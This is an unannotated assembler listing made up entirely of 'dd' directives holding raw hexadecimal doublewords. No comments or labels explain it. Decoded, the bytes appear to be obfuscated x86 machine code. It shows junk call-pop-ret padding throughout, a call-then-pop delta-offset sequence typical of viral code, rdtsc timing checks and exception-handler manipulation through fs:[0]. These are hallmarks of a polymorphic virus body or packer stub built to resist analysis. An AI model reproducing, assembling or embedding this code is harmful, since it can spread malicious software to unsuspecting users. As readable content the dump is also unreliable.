dd 24448104h, 1404h, 0C3514100h, 259D3369h, 8307FA22h dd 0FDEB96BDh, 840F0007h, 2Eh, 177D9589h, 3EE907FAh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 2A27C356h, 0FCEAFCCFh, 305021F7h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 558509C0h dd 0BF07FA2Bh, 53B1625Eh, 24D58529h, 0BD8307FAh, 7FA2BD9h dd 75850F03h, 51000003h, 835F44B3h, 0FDEB96BDh, 840F0007h dd 364h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0D2C35646h, 2251B501h, 0BF0F07FAh, 0B5FFF8DBh dd 7FDEB96h, 274595FFh, 0E78107FAh, 1555197h, 0EB8AB58Bh dd 6A07FDh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0AE67C4C3h, 0E8D98AD4h, 0F9DD7ECh, 6C7FABFh dd 10001h, 6E960h, 0E9C40000h, 245D9E98h, 2C9D8D89h, 966107FAh dd 0C033FBBBh, 0FB8B503Ch, 61BD8B96h, 8907FA00h, 0FA0FB985h dd 96B5FF07h, 0FF07FDEBh, 0FA18E195h, 9CD78107h, 8B252688h dd 0FDEB8AB5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0BAAE7559h, 823C8108h dd 1C7D858Bh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0D93419C3h, 89DD8AE2h, 0C486h, 0AE9F800h dd 9D000000h, 0B5632F1h, 6346E4A4h, 0D9958B7Ah, 5107FA1Ch dd 4C2835Fh, 6830Fh, 0BD8B0000h, 7FA26B9h, 6EDBD29h, 508907FAh dd 7E920h, 31460000h, 0C5539173h, 0F7858D8Fh, 6A07FDFEh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 88F6C356h, 21859D31h, 868907FAh, 0B8h, 2AD9BD33h dd 6A07FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 6DC35545h, 3656A724h, 9D8B0C9Bh, 7FA2611h, 0EB96B5FFh dd 6A07FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 92E00AC3h, 50A0B04Ah, 6D8D8960h, 6607FA15h dd 61C830BFh, 1C9595FFh, 952907FAh, 7FA0F99h, 546E4ABBh dd 0BF665073h, 348959C7h, 1D9D0B24h, 0FF07FA25h, 0FDEB96B5h dd 0D1958907h, 0FF07FA2Eh, 0FA1D9595h, 83F88B07h, 0FA0131BDh dd 840F0007h, 47h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0D9C35646h, 34895037h, 57006A24h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8529F0BEh, 7FA2315h, 0FFFAB70Fh, 0FDEB96B5h, 6A16BB07h dd 95FF5365h, 7FA1CB5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 5C35141h, 0B5FFA09Eh, 7FDEB96h, 0AA2CBF66h dd 21AD95FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0F4E522C3h, 0B529818Fh, 7FA3509h dd 2221BD83h, 0F0207FAh, 8A84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 520782E1h dd 0D1AEDA10h, 858BDC8Ah, 7FA1615h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0E5C35646h, 0D023CB8Dh, 8949837Fh dd 0FA2179BDh, 0FEB70F07h, 6A0000C6h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 55D5C356h dd 74D98E66h, 8E9AAB0h, 7000000h, 0E773DF7Dh, 0C71EA544h dd 0FA16DD85h, 7, 9A56BB00h, 0B5895296h, 7FA14E5h, 0FFF3BDE9h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 8B866D22h, 50006AC1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0EFC72824h dd 14127BA7h, 1DBD89D5h, 8D07FA2Ah, 0FA019985h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0B574FCA1h, 8B3A7344h, 0FA29119Dh, 0B3505007h, 4895BB8h dd 0B1BD8924h, 6A07FA1Ch, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 7384BCC2h dd 6A73FAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 57C35242h, 73C01D25h, 9E994F6h, 52000000h, 72D56E0Fh dd 0E97480D9h, 7780858Dh, 858907FEh, 7FA2B95h, 7AD9D89h dd 0C08307FAh, 880F6005h, 4, 0C5C0BE66h, 14E9h, 0ED7AF200h dd 7D1197FFh, 43AE5C79h, 0B12AE9D6h, 39A23F58h, 505061D2h dd 1CB35652h, 0E9310F5Bh, 0Ah, 52CEC921h, 0E85AFB51h, 585ADB57h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0B423C353h, 7DFCF83Ah, 1181B509h dd 0FB8B07FAh, 0B589006Ah, 7FA0D2Dh, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9933C0C3h dd 7E2AD40Eh, 9DBD29CCh, 0FF07FA01h, 0FA2BE995h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0FA8AD7B3h, 0C99D8B04h, 8D07FA14h, 0FDD7118Dh, 0E0806007h dd 8D31537Ah, 7FA17E5h, 0D1FF6159h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0DC35646h, 0BD83D15Dh, 7FA33EDh dd 7E850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 7BBFC356h, 1499529h dd 26A07FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0C4C35545h, 0E850B3C2h, 0Ah, 501008A3h, 0FD623393h dd 9E81A1Eh, 0F2000000h, 2C10B401h, 0FFBF6D65h, 310F5250h dd 5F5F585Ah, 0FF240489h, 0FA1C9595h, 6E807h, 85680000h dd 0DA7E90EDh, 0DCAE95Bh, 0E80000h, 5D000000h, 778AED81h dd 6A07FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 4937BAC3h, 99D33BBh, 8D07FA2Ch, 0FDB95985h dd 1A810F07h, 0E8000000h, 0Eh, 865D991h dd 0CEEB4732h, 1C1EA7DCh, 8B0FFBDDh, 0 dd 5250505Fh, 8B665250h, 60310FDEh, 0F585A61h, 8E931h dd 0CC280000h, 0A917EEE3h, 585A0120h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0FEA9C357h, 8E298C87h, 0FF64761Ah, 35h, 259D8B00h, 6407FA35h dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 85FF48C3h, 7FA1049h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E0C35545h, 8184D7DDh dd 126695CBh, 6AFF6A5Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 568EC352h, 53856EBFh dd 51A10BF9h, 18FDB529h, 0BD8B07FAh, 7FA34D9h, 0CE9h, 0F29BF00h dd 2CE2133Fh, 0BE4AA8DFh, 59B5FF4Bh, 8B07FA2Fh, 0FA22699Dh dd 7595FF07h, 0E907FA28h, 122h, 1469BD8Bh, 0B007FAh, 559BD89h dd 70E607FAh, 4BDF8166h, 6671E483h, 613CD88Bh, 100830Fh dd 9E90000h, 0AB000000h, 7EA0DE6Ch, 1D5E76Ah, 0E8C8B60Fh dd 7, 0E1491DA4h, 0E9B0A188h, 9, 90D5D4FFh, 2493CB6h, 6BA5F91h dd 89000000h, 0FA013985h, 0FC18B07h, 0E8C1D8B7h, 0DCF78104h dd 660F5416h, 3ABBE2F7h, 2B57F0D4h, 559D23C8h, 8B07FA00h dd 666057D1h, 6D67EF81h, 5B615E57h, 6E9F88Bh, 31000000h dd 0FA1BE99Dh, 1D858B07h, 0F07FA17h, 0C87h, 6800F00h, 89000000h dd 0FA2BF585h, 4D852907h, 8307FA28h, 7E807C0h, 99000000h dd 0B3E6D27Fh, 8589A9B5h, 7FA269Dh, 0C0835Bh, 10B9BD29h dd 0D03B07FAh, 15830Fh, 8D0F0000h, 3, 0E9FA8B66h, 3Eh dd 1D799D8Bh, 8BF907FAh, 0FA1E898Dh, 85858907h, 8307FA25h dd 840F01E1h, 22h, 1E89A583h, 8BFE07FAh, 0FA14859Dh, 1D958907h dd 0F07FA17h, 489h, 77BB6600h, 0E981h, 0B58D0000h, 7FE0A9Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 99C35646h dd 0C15FB916h, 6AFE0851h, 919D8900h, 0FF07FA1Ch, 0FA101995h dd 0B58D2907h, 0B907FA08h, 0E85h, 66CB8166h, 0FCE183E7h dd 29BD03h, 6AFC07FAh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 1980C353h, 68A80D53h dd 0FF4BA02h, 0C02BFAB7h, 16198D89h, 0D22B07FAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 13C35545h, 2C0B5EF7h dd 555B6CD6h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 50C35646h, 0B19D8B3Ch dd 6A07FA1Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0CC61C356h, 2AD9ECEAh, 0D5CDBC01h dd 0FDF8B66h, 880DDFBFh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0C64DC357h dd 0B8C0FA9h, 60000000h, 8BCE8B66h, 0FA0B9D95h, 958B6107h dd 7FA1CD9h, 68D38166h, 0AD8D8BE4h, 6A07FA31h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 7813C355h, 0BA6B39CDh, 210767A3h, 9E9h, 0C362B100h dd 8908325Bh, 8E8B69Fh, 0E4000000h, 1812F757h, 0BF98CC4Fh dd 1C0949D7h, 0C28B505Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6058188Bh, 293D9533h, 850107FAh, 7FA1119h, 29BD8361h dd 7FA2Ah, 94840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0A9C5DDC3h, 2B61BD8Bh dd 0B807FAh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0F822C352h, 8C4CF594h dd 8D8D31FCh, 7FA4F66h, 13E9h, 9968E500h, 5DE451A5h, 7C37F762h dd 8314DC3h, 493664DEh, 15859589h, 0E1FF07FAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4BC35141h, 0F5ED6889h dd 0BD83FFABh, 7FA2BD9h, 0F1840F00h, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0CEE8C357h, 2BD9BD83h, 0F0107FAh, 3E284h, 0D8BF0F00h dd 2BD9BD83h, 0F0307FAh, 39C86h, 0FE8B5100h, 6A605Fh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 664D00C3h, 62CC781h, 2D119D89h, 8C6607FAh, 55006AD9h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 2DC2C694h, 8E0F6B4Dh, 0Fh, 0AE9h, 80261400h, 1F83157Bh dd 89401CB3h, 0FA07BD95h, 4E18007h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 85C35646h, 0FC90A6Eh, 10984h dd 0E9858B00h, 6A07FA0Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 533BC355h, 0EAC41C57h dd 0E18533F4h, 8B07FA15h, 0FA0FD5BDh, 7E89007h, 91000000h dd 0E860E99Ch, 52501E5Dh, 310F6160h, 5AD98B66h, 8B505B58h dd 0F78190FAh, 7A13834h, 0BD89006Ah, 7FA231Dh, 4E8h, 1F03FF00h dd 118E0F00h, 0E8000000h, 5, 23C01AAh, 820F46h, 5F000000h dd 24448B50h, 0BE904h, 4D610000h, 958AE8F7h, 0D84B634Dh dd 52008B78h, 2444895Fh, 9E804h, 0EE3F0000h, 8E36A33Bh dd 5FC12069h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 6FA537E6h, 8032D924h, 95FFA8CBh dd 7FA1CE9h, 2846E781h, 858916CDh, 7FDEB96h, 13E9h, 0B5CC400h dd 0C807185Ah, 894D8B8Eh, 736DD12Ah, 2445480Dh, 197E9h dd 0DBB70F00h, 8859D29h, 858B07FAh, 7FDEB8Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 17C35646h, 0BB6648BDh dd 0C7C4DEh, 18h, 3BC5BF66h, 0EB92B58Bh, 6A07FDh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0AAB1ACC3h, 70EF9A78h, 0E99D8BB4h, 0E807FA28h, 8, 0E58D8735h dd 0C6D6F655h, 6890Fh, 9D0B0000h, 7FA20B9h, 51858B5Bh dd 0F07FA0Dh, 688h, 5D8D8900h, 8907FA11h, 38C0F06h, 0F000000h dd 858BD9BFh, 7FA0FE9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 7BC35141h, 0DD9D8B9Eh, 8907FA18h, 9D2B0446h dd 7FA2845h, 0E519D8Bh, 0BF5007FAh, 90E8C1Ah, 0B7243489h dd 0B59D0997h, 0FF07FA32h, 0FDEB8EB5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 703D816Bh, 0F4EC1D2h, 0D968F9BFh, 81A22372h, 91262404h dd 6A5DFBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 19A4EEC3h, 0F380C86Fh, 96858DB3h, 8B07FDEBh dd 0FA34AD9Dh, 8E99007h, 0EC000000h, 0C6106ED0h, 5094DAB6h dd 5E9h, 0BC106400h, 669089F2h, 0FFC35DBBh, 0FA1CE995h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0B393D0E7h, 98C8A130h, 34BF6661h, 0D985C74Ah dd 307FA2Bh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h dd 41000000h, 0A8DCC351h, 27E99D8Bh, 0BD8307FAh, 7FDEB96h dd 32840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0E919C355h, 2Ch, 0B830Fh dd 8C0F0000h, 5, 7B33C9BBh, 0C30502Ch, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0F4C35545h, 6291A0B7h, 0FCD24E3h, 68Ah dd 0A5953100h, 2907FA2Dh, 0FA18B99Dh, 0D9BD8307h, 307FA2Bh dd 44B850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 36AF3FC3h, 0DD8A6032h, 0A73AD781h dd 8361024Bh, 0FDEB96BDh, 840F0007h, 415h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E3C35747h, 0BD33D7BCh dd 7FA1681h, 0B9BD0Bh, 0B5FF07FAh, 7FDEB96h, 7C38166h dd 4595FFBBh, 6A07FA27h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 680C355h, 6D18A068h dd 8BF59CB4h, 0FDEB8AB5h, 0DFB70F07h, 38F0Fh, 8B660000h dd 106C7D9h, 6A000100h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 845C353h, 8B21B312h dd 0FA29ED9Dh, 96509607h, 6399589h, 958907FAh, 7FA2871h dd 0EB96B5FFh, 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 1C27A1C3h, 67979574h, 0E9BF660Bh dd 719D8985h, 0FF07FA0Dh, 0FA18E195h, 0C19D8B07h, 8B07FA10h dd 0FDEB8AB5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 896EBF56h, 0FA35099Dh dd 7D858B07h, 6A07FA1Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8960C351h, 0C486h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 9134D1B3h, 0CDFE2F2Eh, 9D8B51EFh, 7FA345Dh dd 0D9958B5Fh, 8907FA1Ch, 0FA18D1B5h, 6E907h, 999C0000h dd 178D7A1h, 8104C283h, 478E8EFh, 2050894Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CBC35141h, 4291805Ch dd 0FE9h, 62D6CA00h, 9144E342h, 8624C61Eh, 1A872C4Ah, 0FEF7858Dh dd 0DF8007FDh, 0BE926h, 1D30000h, 0C3F75E8Bh, 0C376969Eh dd 0B886898Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 292EC355h, 0F98F5CE8h dd 8E88F0Fh, 0F1000000h, 7E5B7F58h, 0F6F5473h, 8Eh, 6A5B00h dd 6EDBD0Bh, 0B5FF07FAh, 7FDEB96h, 9D2355B7h, 7FA18FDh dd 1C9595FFh, 0DE907FAh, 89000000h, 5DCA7BBFh, 0AD327EB8h dd 0B56F9C6Fh, 0E8525096h, 0Bh, 590111D3h, 8712B43Bh, 8B81B910h dd 310F5BDFh, 5AFE8B66h, 0BA605058h, 0CD5120Ch, 0EE9h dd 7CE20300h, 625C8DDCh, 94344EC0h, 61706551h, 98D0996h dd 0FF07FA22h, 0FDEB96B5h, 6D858907h, 0B07FA1Dh, 0FA064D9Dh dd 9595FF07h, 6A07FA1Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0E69C350h, 0BEBB6664h dd 31BD8364h, 7FA01h, 31840Fh, 9D8B0000h, 7FA1035h, 89DA8B50h dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 3C1DE9C3h, 0ADBD239Eh, 0FF07FA0Ch, 0FDEB96B5h dd 0E19D3107h, 0FF07FA27h, 0FA1CB595h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 3D740481h, 0BFB46085h, 5AA1D941h, 399D8B51h, 5B07FA07h dd 0EE9h, 28853500h, 0C5C9F65Eh, 3F75201Dh, 0FFB6AE79h dd 0FDEB96B5h, 95FFFC07h, 7FA21ADh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 62C35747h, 0AA478B38h, 0E72FBB66h dd 2221BD83h, 0F0207FAh, 5784h, 188B0F00h, 0E8000000h dd 11h, 54491669h, 382E90FDh, 0F1C1FFC7h, 7EBBFC0Eh, 8B5BF9D3h dd 0FA161585h, 0BD896007h, 7FA3379h, 61F2B70Fh, 6A0000C6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 254AC355h, 9D035D92h, 7FA2E59h, 16DD85C7h dd 7FAh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0FE0BA0C3h, 814F6371h, 5F4B79E3h dd 0F36FE91Dh, 0DE8FFFFh, 0B1000000h, 200853DEh, 7787D36h dd 1680AB68h, 17D59D8Bh, 8B5B07FAh, 0FA2DB59Dh, 6AC18B07h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 5358C352h, 5BD98B66h, 199858Dh, 0BD8B07FAh dd 7FA3295h, 5E48BB90h, 50503339h, 66310F52h, 585AF88Bh dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 2A75BDF2h, 89BD29B5h, 6A07FA31h, 9D015100h dd 7FA0205h, 9006A5Bh, 0FA2575BDh, 8858D07h, 5707FE87h dd 76D8BB66h, 5C0835Bh, 25118501h, 665007FAh, 89E1E3BBh dd 2DB72404h, 6AF9BF0Fh, 0C7816600h, 6AA3C5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 3BC35242h, 95FFFC78h dd 7FA2BE9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 3CC35040h, 1A681030h, 65C956C0h, 118D8D78h, 6A07FDD7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 99DFC353h, 690D7A12h, 0BD2989E5h, 7FA1671h dd 5E9D1FFh, 0A9000000h, 0C4E6ED2Bh, 33EDBD83h, 0F0107FAh dd 0A885h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0F8BE79h, 0DDBB54CAh, 663E2EB7h dd 42E0F381h, 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0AF6B1C3h, 90DA8B66h, 2692BF66h dd 5F69BB50h, 6A9028EEh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 2606C356h, 54223952h dd 0FFCD429Ch, 0FA1C9595h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8166C495h dd 8B50F1E7h, 0D1CE9F8h, 0E80000h, 5D000000h, 8712ED81h dd 8C0F07FEh, 1Fh, 19890Fh, 14E90000h, 3F000000h, 0E30D2423h dd 78AE2B9h, 1BD6D5EAh, 501FAABEh, 0E9073708h, 0Bh, 34644448h dd 0E966B6BAh, 8D222E5Ah, 0FDB95985h, 0FA8B6607h, 1015BD89h dd 0F5007FAh, 589h, 5CECBF00h, 48971CAh, 35FF6424h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B8C35343h dd 15B98589h, 840F07FAh, 0 dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0D304C355h, 0BB21109Fh dd 12222BFFh, 104985FFh, 0FF6A07FAh, 0EE9h, 0E290C00h dd 0E6104E24h, 0BAFF1AC1h, 0FFA70CCFh, 0FA16B1B5h, 0DFBF0F07h dd 287595FFh, 15E907FAh, 0E9000001h, 10h, 3EB516EDh, 0D68D7E4Dh dd 777D2FC3h, 0B32EADCBh, 0B055B3h, 0E60EDB80h, 0BFBF6670h dd 8B71E4E9h, 0F613CDEh, 0E783h, 159D2300h, 0F07FA26h dd 0BD89C8B6h, 7FA2AE9h, 6BAh, 41BD8900h, 8B07FA17h, 0CEF81C1h dd 0C158F5CEh, 6E904E8h, 0B0000000h, 0C8F97E21h, 0E2F76640h dd 9D03C82Bh, 7FA2761h, 0F88AD18Bh, 1AE9h, 10E900h, 97210000h dd 0C870B353h, 5374B201h, 0D3AB09FEh, 0C6BF1414h, 8B1E9412h dd 0FA15F185h, 6890F07h, 89000000h, 0FA34BDB5h, 7C08307h dd 8E9h, 4AD8DD00h, 1D1C5E4Eh, 0C08331h, 3BDEBF0Fh, 21830FD0h dd 0E9000000h, 0Eh, 9278727Ah, 9973B932h, 0A659E2CEh, 0B589E6A1h dd 7FA071Dh, 3BE9h, 10D78000h, 0DA58D8Bh, 80F807FAh, 0E1830FDBh dd 25840F01h, 66000000h, 0F4A7F781h, 0DA5A583h, 8BFE07FAh dd 0FA16C9BDh, 0F1958907h, 5107FA15h, 0B45BD23h, 0E95F07FAh dd 0 dd 1AEDB58Dh, 8A0F07FEh, 1, 6A006AF8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0B288C355h dd 1995FFF5h, 0B907FA10h, 7B3h, 83F98B66h, 6AFCFCE1h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 774BC350h, 0B859h, 0BD2B0000h, 7FA2769h, 0BAh, 0F1950100h dd 0AD07FA30h, 0E8D1C233h, 0E983D003h, 66F47504h, 0DE676BFh dd 88h, 2C95B589h, 0E96007FAh, 0Dh, 87324864h, 0CDBCEF0h dd 0C3813913h, 0A8C48080h, 0D9958B61h, 6A07FA1Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0FB55C355h, 0FE8B669Eh, 31AD8D8Bh, 6A07FAh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 7EF27C3h, 0DAC1A679h, 830F60C5h, 6, 68D9D8Bh, 8B5007FAh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 76C35343h, 57CA07AAh dd 8E97DB81h, 835B1AABh, 0FA2A29BDh, 840F0007h, 85h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E8C35545h, 9E9h dd 8EA04E00h, 0E2990F33h, 0B84BAAh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 9273C351h, 89BD8BEBh, 8D07FA1Fh, 0FA4F668Dh, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 57DD60E4h, 0C426A0F6h, 8BE1FF64h, 0FA0FC19Dh, 0D9BD8307h dd 7FA2Bh, 411840Fh, 0BD8B0000h, 7FA31D1h, 2BD9BD83h, 0F0107FAh dd 41984h, 5268BF00h, 0F6061A7h, 68Ch, 0D958B00h, 3107FA2Eh dd 0FA155585h, 0BD836107h, 7FA2BD9h, 0BD860F03h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 5AE4C356h, 9DA4E21Bh, 601CE31Ah, 90C6BB66h dd 66D98C66h, 947CF81h, 6A04E180h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2055C351h dd 0AF8993Dh, 11840FC9h, 6A000001h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CDAEC353h dd 8B8E6A9Fh, 0FA0FE985h, 919D8907h, 3307FA1Fh, 0FA15E185h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0FC7B39BDh, 0E9B2D496h, 0FEB70F2Eh, 0D4BB6650h dd 24048954h, 24259D01h, 6A07FAh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 99C35242h, 810FEB43h, 15h dd 10E9h, 7ADA7400h, 0DD9FB605h, 17021F8Ch, 0D3AA5AEDh dd 94726865h, 0D98B12F6h, 8D243481h, 6A12E997h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 9A5BC357h, 2A8202E0h, 0A4C0589Ch, 6870Fh, 0BD0B0000h dd 7FA17C5h, 5D9D0160h, 0F07FA28h, 68Eh, 819D8B00h, 6107FA16h dd 1CE995FFh, 0EB307FAh, 0EB968589h, 9D8B07FDh, 7FA20B9h dd 199E9h, 0FE8B6600h, 0EB8E858Bh, 0C7FC07FDh, 1800h, 0A5B58900h dd 8B07FA1Ch, 0FDEB92B5h, 62C38107h, 8B43C122h, 0FA0D5185h dd 0A58D8907h, 8907FA0Ah, 25950106h, 8B07FA22h, 0FA0FE985h dd 0C58D8907h, 8907FA22h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 81668DC3h, 60D7E8EFh dd 66D8531h, 14E907FAh, 0B3000000h, 0E1663E2Ch, 8176B48Fh dd 67EEF362h, 7663E2A8h, 6158E376h, 0BB6FBB66h, 0F505096h dd 282h, 5FD88B00h, 0D9958996h, 0FF07FA22h, 0FDEB8EB5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 3472FE9Ah, 8E926F8h, 8D000000h, 8F06F149h dd 6866E803h, 22A29097h, 81F88B66h, 93682434h, 6A22BDh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 1CAF05C3h, 6F6FF67Ch, 8BD98A4Eh, 96858DDEh, 6A07FDEBh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 